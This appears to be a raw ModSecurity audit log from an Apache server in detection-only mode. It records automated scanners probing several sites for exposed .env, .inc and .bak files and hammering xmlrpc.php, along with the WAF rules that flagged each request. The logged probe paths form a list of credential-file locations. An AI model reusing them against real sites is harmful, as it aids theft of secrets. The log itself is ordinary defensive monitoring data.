Stopwatch: 1750015718665141 658393 (- - -) Stopwatch2: 1750015718665141 658393; combined=1909, p1=382, p2=1423, p3=0, p4=0, p5=103, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79da2804-Z-- --7990b804-A-- [16/Jun/2025:00:59:03.625272 +0530] aE8e_pnj7pFxi-BGHz6tJwAAAAI 185.177.72.210 38812 127.0.0.1 7081 --7990b804-B-- GET /:5601/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7990b804-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f7207f1f45c2255ab4ae07af9f6627f41750015743; expires=Sun, 15 Jun 2025 20:29:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7990b804-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.development"] [unique_id "aE8e_pnj7pFxi-BGHz6tJwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015742948305 677032 (- - -) Stopwatch2: 1750015742948305 677032; combined=2240, p1=479, p2=1659, p3=0, p4=0, p5=102, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7990b804-Z-- --600f4c29-A-- [16/Jun/2025:00:59:06.662714 +0530] aE8fAj3D4g1mGjVnV5KGYAAAAAY 185.177.72.210 38974 127.0.0.1 7081 --600f4c29-B-- GET /:8080/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --600f4c29-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e6e85cc6822d127affff316e020dbb11750015746; expires=Sun, 15 Jun 2025 20:29:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --600f4c29-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/bootstrap/.env"] [unique_id "aE8fAj3D4g1mGjVnV5KGYAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015746013449 649341 (- - -) Stopwatch2: 1750015746013449 649341; combined=2137, p1=460, p2=1568, p3=0, p4=0, p5=108, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --600f4c29-Z-- --2deaf571-A-- [16/Jun/2025:00:59:28.552996 +0530] aE8fFwW_rlaNA7qLBTtDnwAAAAs 128.199.112.101 35420 127.0.0.1 7081 --2deaf571-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2deaf571-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2deaf571-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8fFwW_rlaNA7qLBTtDnwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015767603875 949178 (- - -) Stopwatch2: 1750015767603875 949178; combined=2314, p1=347, p2=1527, p3=50, p4=71, p5=200, sr=96, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2deaf571-Z-- --63bafa3d-A-- [16/Jun/2025:00:59:40.336705 +0530] aE8fIyCwfN5GtQhYhHBEAQAAAAw 185.177.72.210 37854 127.0.0.1 7081 --63bafa3d-B-- GET /:8888/admin/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63bafa3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2415486f97de9da86df53531152173b21750015780; expires=Sun, 15 Jun 2025 20:29:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63bafa3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/admin/.env.production"] [unique_id "aE8fIyCwfN5GtQhYhHBEAQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015779662345 674422 (- - -) Stopwatch2: 1750015779662345 674422; combined=1987, p1=436, p2=1454, p3=0, p4=0, p5=97, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63bafa3d-Z-- --1573160b-A-- [16/Jun/2025:00:59:53.225217 +0530] aE8fMCCwfN5GtQhYhHBEBgAAAAw 185.177.72.210 51228 127.0.0.1 7081 --1573160b-B-- GET /:10000/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1573160b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=869eca4744fb927e317611b399c259ba1750015793; expires=Sun, 15 Jun 2025 20:29:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1573160b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/symfony/.env"] [unique_id "aE8fMCCwfN5GtQhYhHBEBgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015792558058 667222 (- - -) Stopwatch2: 1750015792558058 667222; combined=2123, p1=396, p2=1620, p3=0, p4=0, p5=106, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1573160b-Z-- --6dcf383f-A-- [16/Jun/2025:01:00:00.366246 +0530] aE8fNz6fDirgE_qJvgHKBQAAAAA 185.177.72.210 45924 127.0.0.1 7081 --6dcf383f-B-- GET /_config.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6dcf383f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d02baf800d50c5ae9bb84aed3ecd8eb1750015800; expires=Sun, 15 Jun 2025 20:30:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6dcf383f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_config.inc"] [unique_id "aE8fNz6fDirgE_qJvgHKBQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015799690781 675543 (- - -) Stopwatch2: 1750015799690781 675543; combined=2168, p1=365, p2=1692, p3=0, p4=0, p5=111, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dcf383f-Z-- --7f37d433-A-- [16/Jun/2025:01:00:12.619463 +0530] aE8fQy7MaF0j8lD2KTIYHQAAAAM 185.177.72.210 37438 127.0.0.1 7081 --7f37d433-B-- GET /:8181/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7f37d433-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e0b9fe5909034b913f65c556b4ca55111750015812; expires=Sun, 15 Jun 2025 20:30:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7f37d433-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/application/.env"] [unique_id "aE8fQy7MaF0j8lD2KTIYHQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015811978315 641212 (- - -) Stopwatch2: 1750015811978315 641212; combined=1685, p1=353, p2=1236, p3=0, p4=0, p5=96, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7f37d433-Z-- --62d1e965-A-- [16/Jun/2025:01:00:29.122406 +0530] aE8fVCLYlRp1nfGu7y5p7AAAAAQ 128.199.112.101 38340 127.0.0.1 7081 --62d1e965-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --62d1e965-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --62d1e965-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8fVCLYlRp1nfGu7y5p7AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015828173751 948712 (- - -) Stopwatch2: 1750015828173751 948712; combined=2190, p1=370, p2=1401, p3=42, p4=61, p5=190, sr=97, sw=126, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --62d1e965-Z-- --a597482b-A-- [16/Jun/2025:01:01:04.031886 +0530] aE8feCKD19h5xDtM-2wciAAAAAo 34.162.3.174 38488 127.0.0.1 7080 --a597482b-B-- GET /.env HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 34.162.3.174 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --a597482b-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --a597482b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/.env"] [unique_id "aE8feCKD19h5xDtM-2wciAAAAAo"] Stopwatch: 1750015864028785 3159 (- - -) Stopwatch2: 1750015864028785 3159; combined=1963, p1=410, p2=1449, p3=21, p4=26, p5=56, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a597482b-Z-- --aef9173c-A-- [16/Jun/2025:01:01:04.122637 +0530] aE8feJnj7pFxi-BGHz6tZQAAAAI 34.162.3.174 38496 127.0.0.1 7080 --aef9173c-B-- GET /.env.example HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 34.162.3.174 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --aef9173c-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --aef9173c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/.env.example"] [unique_id "aE8feJnj7pFxi-BGHz6tZQAAAAI"] Stopwatch: 1750015864119788 2895 (- - -) Stopwatch2: 1750015864119788 2895; combined=1731, p1=396, p2=1245, p3=17, p4=22, p5=51, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aef9173c-Z-- --ac490e07-A-- [16/Jun/2025:01:01:17.865266 +0530] aE8fhSCwfN5GtQhYhHBEOQAAAAw 185.177.72.210 52162 127.0.0.1 7081 --ac490e07-B-- GET /:8888/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac490e07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0d486ab0911d9efc3caa4165ef32e4b61750015877; expires=Sun, 15 Jun 2025 20:31:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac490e07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.suspected"] [unique_id "aE8fhSCwfN5GtQhYhHBEOQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015877020696 844635 (- - -) Stopwatch2: 1750015877020696 844635; combined=1743, p1=410, p2=1241, p3=0, p4=0, p5=91, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac490e07-Z-- --dabd111b-A-- [16/Jun/2025:01:01:24.691907 +0530] aE8fjCKD19h5xDtM-2wcmQAAAAo 185.177.72.210 56926 127.0.0.1 7081 --dabd111b-B-- GET /laravel/core/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dabd111b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=733b151e65755906bdff0095743b313c1750015884; expires=Sun, 15 Jun 2025 20:31:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dabd111b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/laravel/core/.env.production"] [unique_id "aE8fjCKD19h5xDtM-2wcmQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015884025099 666909 (- - -) Stopwatch2: 1750015884025099 666909; combined=2005, p1=411, p2=1468, p3=0, p4=0, p5=125, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dabd111b-Z-- --2868017f-A-- [16/Jun/2025:01:01:26.713481 +0530] aE8fjnsalJN_0-_70dLwAAAAAAU 185.177.72.210 57026 127.0.0.1 7081 --2868017f-B-- GET /index2.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2868017f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd340e1f6b6be91efd63e4a81b324d0c1750015886; expires=Sun, 15 Jun 2025 20:31:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2868017f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index2.bak"] [unique_id "aE8fjnsalJN_0-_70dLwAAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015886047429 666114 (- - -) Stopwatch2: 1750015886047429 666114; combined=1970, p1=359, p2=1519, p3=0, p4=0, p5=91, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2868017f-Z-- --3dd5d570-A-- [16/Jun/2025:01:01:29.680035 +0530] aE8fkHsalJN_0-_70dLwAQAAAAU 128.199.112.101 57120 127.0.0.1 7081 --3dd5d570-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3dd5d570-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3dd5d570-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8fkHsalJN_0-_70dLwAQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015888728777 951325 (- - -) Stopwatch2: 1750015888728777 951325; 